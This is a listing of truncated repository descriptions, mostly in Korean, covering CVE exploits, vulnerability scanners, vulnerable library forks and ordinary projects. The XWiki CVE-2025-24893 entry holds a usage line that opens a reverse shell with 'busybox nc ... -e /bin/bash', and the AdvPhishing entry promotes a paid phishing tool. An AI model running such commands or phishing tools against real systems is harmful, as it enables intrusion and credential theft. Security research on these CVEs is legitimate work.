CVE-2019-19609

Strapi CMS 익스플로잇 이 익스플로잇은 Strapi CMS 프레임워크 버전 3.0.0-beta-17.4 의 두 가지 취약점을 대상으로 하여 인증되지 않은 원격 코드 실행RCE을 가능하게 합니다. 취약점 CVE-2019-18818 비밀번호 분실에 대한 취약한 비밀번호 복구 메커니즘 CVSS : 9.8 - 치명적 자세한 내용: https://nvd.nist.gov/vuln/detail/CVE-2019-18818 CVE-2019-19609 OS 명령어에 사용되는 특수 요소의 부적절한 처리 'OS 명령어 삽입' CVSS : 7...

CVE-2008-6827

CVE-2008-6827 Symantec Altiris Client Service 6.8.378 - 로컬 권한 상승 Exploit-DB 게시물: https://www.exploit-db.com/exploits/5625/ 저자 Alex Hernandez 일명 @alt3kx...

AdvPhishing

Mp4 확인: https://www.instagram.com/tukbuck/reel/DTBBBknj-nd/ 참고: 이 도구를 활성화하거나 작동 상태의 동일한 프로젝트를 원한다면 먼저 결제하세요: ETHERC20 지갑 주소: 0xe48df3c0e1713518096c7d2d0a2dce70aa85cd33 소셜 미디어 플랫폼에서 팔로우하세요 기여해주세요 전문 피싱 페이지 제작, 윤리적 해킹, 버그 바운티를 배우고 싶다면 방문하세요 - https://secnhack.in 문의사항 및 해킹 학습을 위한 WhatsApp 그룹에 가입하세요...

CVE-2022-22965

CVE 2022-22965Spring4Shell 분석 취약점 설명 Spring4Shell은 Spring Framework의 Spring Core에 존재하는 CVE의 이름입니다. CVSS 3.x 점수 9.8로, 이 취약점은 최고 위험 수준critical으로 분류됩니다. 이 취약점은 공격자가 원격 코드 실행을 수행하고 취약한 서버를 제어할 수 있게 합니다. 인터넷상의 Spring Core의 보편성과 Spring4Shell의 심각한 영향 수준을 고려할 때, 이 취약점은 전문가들에 의해 Log4shell에 못지않은 영향력을 가진 것으...

featherduster

FeatherDuster 및 Cryptanalib FeatherDuster는 주로 Daniel "unicornfurnace" Crowley가 커뮤니티의 기여와 함께 작성한 암호 해독 도구입니다. 이 도구는 취약한 암호 시스템을 식별하고 공격하는 과정을 최대한 쉽게 만들기 위해 설계되었습니다. Cryptanalib는 FeatherDuster의 내부 동작을 담당하는 부분으로, FeatherDuster와 독립적으로 사용할 수 있습니다. 왜 "FeatherDuster"일까요? 암호 전문가들 사이에는 암호를 잘못 사용하거나, 암호로 해...

x-stream__xstream_CVE-2021-21345_1-4-15

master: v-1.4.x: XStream Java를 XML로 직렬화하고, 다시 되돌리기 바이너리 모든 바이너리 아티팩트는 -bin 아카이브에 포함되어 있습니다. 여기에는 XStream jar와 빌드 시 사용되는 다른 모든 라이브러리 또는 선택적 런타임 확장이 포함됩니다. Xpp3 사용을 권장합니다. Xpp3는 XStream의 성능을 크게 향상시킵니다. 문서 문서는 GitHub에서 찾을 수 있습니다. 여기에는 다음이 포함됩니다: 소개 및 튜토리얼 JavaDoc 변경 내역 자주 묻는 질문 소스 XStream의 전체 소스는 -s...

BridgeBlock

BridgeBlock BridgeBlock — это приложение в строке меню, которое предотвращает атаки с использованием беспроводного моста, обнаруживая условия мостового соединения и принимая меры. Также доступна версия для командной строки для системных администраторов. Спонсоры: Установка Релизы на GitLab...

qubes-core-admin

Qubes 코어, 버전 3 이것은 Qubes OS 코어의 마스터 브랜치입니다. API 문서는 다음에서 확인할 수 있습니다: https://dev.qubes-os.org/projects/core-admin/en/latest/...

Next.JS-CVE-2025-29927

Next.js 취약점 스캐너 CVE-2025-29927 CVE-2025-29927 인증 우회에 취약한 Next.js 애플리케이션을 탐지하고 확인하는 보안 도구입니다. 기능 🎯 다양한 확인 방법을 통한 정확한 Next.js 탐지 🔍 취약한 인스턴스를 식별하기 위한 정밀한 버전 비교 🛡️ 오탐 없이 익스플로잇 확인 가능 🚀 고성능 동시 스캐닝 📊 여러 출력 형식 지원 콘솔, 파일 설치 바이너리 릴리스 릴리스 페이지에서 미리 빌드된 바이너리를 다운로드하세요. 소스에서 설치 1. Go 1.20+가 설치되어 있는지 확인하세요. 2...

openssl

Welcome to the OpenSSL Project !openssl logowww.openssl.org !github actions ci badgegithub actions ci OpenSSL is a robust, commercial-grade, full-featured Open Source Toolkit for the Transport Layer Security TLS, formerly SSL, Datagram TLS DTLS, and QUIC protocols. The protocol implementations ar...

log4shell-example

Log4Shell エクスプロイトテスト このプロジェクトの目的は、spring-boot 環境における log4j CVE-2021-44228 のエクスプロイト脆弱性を実演し、その修正方法を示すことです。 このプロジェクトには3つのサブモジュールが含まれています。そのうちの1つは脆弱なコードを含み、他の2つはパッチが適用されています。 このプロジェクトの使用方法 プロジェクトのルートで ./mvnw clean test を実行すると、両方のモジュールのテストが実行されます。 log4shell-example-unpatched...

external_expat-2.1.0_CVE-2022-43680

Expat, 릴리스 2.1.0 이것은 James Clark이 작성한 XML 파싱용 C 라이브러리인 Expat입니다. Expat은 스트림 지향 XML 파서입니다. 즉, 파싱을 시작하기 전에 파서에 핸들러를 등록한다는 뜻입니다. 이 핸들러들은 파서가 파싱 중인 문서에서 연관된 구조를 발견할 때 호출됩니다. 시작 태그는 핸들러를 등록할 수 있는 구조의 한 예입니다. Windows 사용자는 사전 컴파일된 라이브러리와 실행 파일, 그리고 개발자용 소스 코드를 모두 포함하는 expatwin32bin 패키지를 사용해야 합니다. Expat은...

CVE-2018-16763

CVE 2018-16763 익스플로잇 소개 FUEL CMS 1.4.1의 PreAuth-RCE 데모 참조: https://nvd.nist.gov/vuln/detail/CVE-2018-16763 https://www.exploit-db.com/exploits/47138...

external_zlib_4.4_CVE-2018-25032

ZLIB 데이터 압축 라이브러리 zlib 1.2.7은 범용 데이터 압축 라이브러리입니다. 모든 코드는 스레드 안전thread safe합니다. zlib 라이브러리에서 사용하는 데이터 형식은 RFCRequest for Comments 19501952에 설명되어 있으며, 해당 문서는 http://tools.ietf.org/html/rfc1950 zlib 형식, rfc1951 deflate 형식 및 rfc1952 gzip 형식에서 볼 수 있습니다. 압축 라이브러리의 모든 함수는 zlib.h 파일에 문서화되어 있습니다man 페이지 작성...

CVE-2021-31760

..| CVE-2021-31760 |.. 설명 : Webmin의 실행 중인 프로세스 기능을 통해 사이트 간 요청 위조CSRF 공격을 악용하여 원격 명령 실행RCE을 달성합니다. 테스트된 버전 : Webmin 1.973 GitHub의 최신 버전 07/03/2021 공격 유형: 원격 영향 : 원격 명령 실행 익스플로잇 코드 POC : YouTube POC : https://youtu.be/D45FN8QrzDo 제품 공급업체 : https://www.webmin.com 추가 정보 : "Webmin은 Unix 계열 서버와 서비스를 위...

cve-2022-42889

cve-2022-42889 cve-2022-42889 Text4Shell는 Apache Commons Text 버전 1.5부터 1.9까지 영향을 미칩니다. Commons Text 버전 1.10에서 패치되었습니다. 참고 자료: https://securitylab.github.com/advisories/GHSL-2022-018ApacheCommonsText/ https://github.com/karthikuj/cve-2022-42889-text4shell-docker...

CVE-2025-24893

CVE-2025-24893 XWiki의 15.10.11, 16.4.1 및 16.5.0RC1 이전 버전을 대상으로 하는 원격 코드 실행RCE 익스플로잇입니다. 사용법 $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' 윤리적인 목적으로만 사용하세요 :...

asf__commons-text_CVE-2022-42889_1-9

Apache Commons Text Apache Commons Text는 문자열string 작업을 위한 알고리즘에 중점을 둔 라이브러리입니다. 문서 자세한 정보는 Apache Commons Text 홈페이지에서 확인할 수 있습니다. Javadoc을 열람할 수 있습니다. Apache Commons Text 사용과 관련된 질문은 사용자 메일링 리스트에 게시해 주시기 바랍니다. 최신 릴리스는 어디서 받을 수 있나요? 소스와 바이너리는 다운로드 페이지에서 내려받을 수 있습니다. 또는 중앙 Maven 저장소에서 가져올 수 있습니다:...

CVE-2019-19609

CVE-2019-19609 Strapi = 3.0.0-beta.17.8 인증된 원격 코드 실행...

external_zlib_CVE-2022-37434

ZLIB 데이터 압축 라이브러리 zlib 1.2.8은 범용 데이터 압축 라이브러리입니다. 모든 코드는 스레드 안전thread safe합니다. zlib 라이브러리에서 사용하는 데이터 형식은 RFCRequest for Comments 1950 1952에 설명되어 있으며, 해당 파일은 http://tools.ietf.org/html/rfc1950 zlib 형식, rfc1951 deflate 형식, rfc1952 gzip 형식에서 확인할 수 있습니다. 압축 라이브러리의 모든 함수는 zlib.h 파일에 문서화되어 있습니다 man 페이지...